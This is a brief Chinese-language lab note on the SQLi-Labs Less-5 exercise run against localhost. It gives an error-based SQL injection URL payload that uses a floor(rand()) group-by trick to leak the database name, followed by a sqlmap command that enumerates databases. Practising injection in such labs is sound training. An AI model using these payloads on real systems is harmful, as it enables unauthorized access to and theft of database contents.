这题玩的是盲注
是报错型的。
http://127.0.0.1/Less-5/?id=1.1' union select 1,count(),concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand(0)2))a%20from%20information_schema.columns%20group%20by%20a;%20--+
我不想再去一个个试了，我要用sqlmap了。
只要知道考点，我就不一一手工了，都用sqlmap跑出来就van事了。
sqlmap -u "http://127.0.0.1/Less-5/?id=1" --dbs --batch --no-cast
